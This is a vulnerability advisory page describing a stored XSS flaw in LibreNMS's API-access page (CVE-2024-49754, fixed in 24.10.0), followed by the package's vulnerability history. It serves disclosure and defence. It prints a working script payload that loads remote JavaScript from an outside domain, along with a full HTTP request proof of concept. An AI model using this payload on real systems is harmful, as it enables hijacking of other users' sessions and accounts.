High

LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php

  • Disclosed: 15.11.2024
  • Updated: 11.10.2026 10:22

Summary

A Stored Cross-Site Scripting (XSS) vulnerability in the API-Access page allows authenticated users to inject arbitrary JavaScript through the "token" parameter when creating a new API token. This vulnerability can result in the execution of malicious code in the context of other users' sessions, compromising their accounts and enabling unauthorized actions.

Details

The vulnerability occurs when creating a new API Token. An attacker can inject arbitrary JavaScript into the "token" parameter, which is then executed when the API Access page is visited. The payload is triggered twice—once in the "Token Hash" column and once in the "QR Code" column.

The payload used to exploit this vulnerability is: '"><script/src=//15.rs></script>

Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.

The vulnerability is due to insufficient sanitization of the "token_hash" variable before it is output in the HTML. This is evident in the following lines of code:

https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L152 https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/api-access.inc.php#L153

PoC

  1. Create a new API token with the following payload in the "token" parameter: '"><script/src=//15.rs></script>
  2. Save the token.
  3. Navigate to the API Access page.
  4. Observe that the injected script executes twice, once in the "Token Hash" column and once in the "QR Code" column.
http
POST /ajax_form.php HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-CSRF-TOKEN: <your_token>
X-Requested-With: XMLHttpRequest
Cookie: <your_cookie>

_token=<your_token>&user_id=1&token='"><script/src=//15.rs></script>&description=t'"><script/src=//15.rs>&type=token-item-create

Impact

The vulnerability allows authenticated users to execute arbitrary JavaScript code in the context of other users' sessions. This can lead to account compromise and enable unauthorized actions on behalf of the impacted users.

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Composer package librenms/librenms < 24.10.0 24.10.0

References

CVSS score 7.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L
Weakness (CWE)
CWE-79
Platform
Composer
Package
librenms/librenms
Disclosed
15.11.2024
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-gfwr-xqmj-j27v - CC BY 4.0

Vulnerability history: librenms/librenms

All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (106) in the archive
Total entries
106
First → latest
10.2019 08.2026
Without a fix
6
Exploited in attacks
0

Severity breakdown

  • Critical 5
  • High 39
  • Medium 56
  • Low 6

Disclosures per year

  1. 2019: 6
  2. 2020: 0
  3. 2021: 7
  4. 2022: 26
  5. 2023: 12
  6. 2024: 24
  7. 2025: 15
  8. 2026: 16
Severity:
  1. High · 7.1 CVE-2026-84192 < 26.5.0 26.5.0
  2. High · 7.1 CVE-2020-36947 <= 1.46 no fix
  3. Critical · 9.1 CVE-2024-51092 < 24.10.0 24.10.0
  4. LibreNMS has a stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/api-access.inc.php this entry
    High · 7.5 CVE-2024-49754 < 24.10.0 24.10.0
  5. High · 7.8 CVE-2023-5591 < 23.10.0 23.10.0
  6. High · 8.4 CVE-2023-5060 < 23.9.1 23.9.1
  7. High · 7.6 CVE-2023-4347 < 23.8.0 23.8.0
  8. High · 8.8 CVE-2022-3525 < 22.10.0 22.10.0
  9. High · 7.6 CVE-2022-4068 < 22.10.0 22.10.0
  10. Critical · 9.8 CVE-2022-4070 < 22.10.0 22.10.0
  11. High CVE-2022-29712 < 22.4.0 22.4.0
  12. Critical · 9.8 CVE-2019-10665 <= 1.47 no fix
  13. Critical · 9.8 CVE-2018-20434 = 1.46 no fix
  14. High · 8.8 CVE-2018-20678 < 1.65 1.65
  15. High · 7.1 CVE-2022-0580 < 22.2.0 22.2.0
  16. High · 7.1 CVE-2022-0587 < 22.2.0 22.2.0
  17. Critical · 9.8 CVE-2021-44278 <= 21.11.0 no fix
  18. High · 8.8 CVE-2020-15877 < 1.65.1 1.65.1
  19. High · 8.8 CVE-2020-35700 < 21.1.0 21.1.0
  20. High · 8.8 CVE-2019-10671 < 1.50.1 1.50.1
  21. High · 8.1 CVE-2019-12465 < 1.53 1.53
  22. High · 7.5 CVE-2019-12464 < 1.53 1.53
  23. High · 8.8 CVE-2019-12463 >= 1.50.1, < 1.53 1.53

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.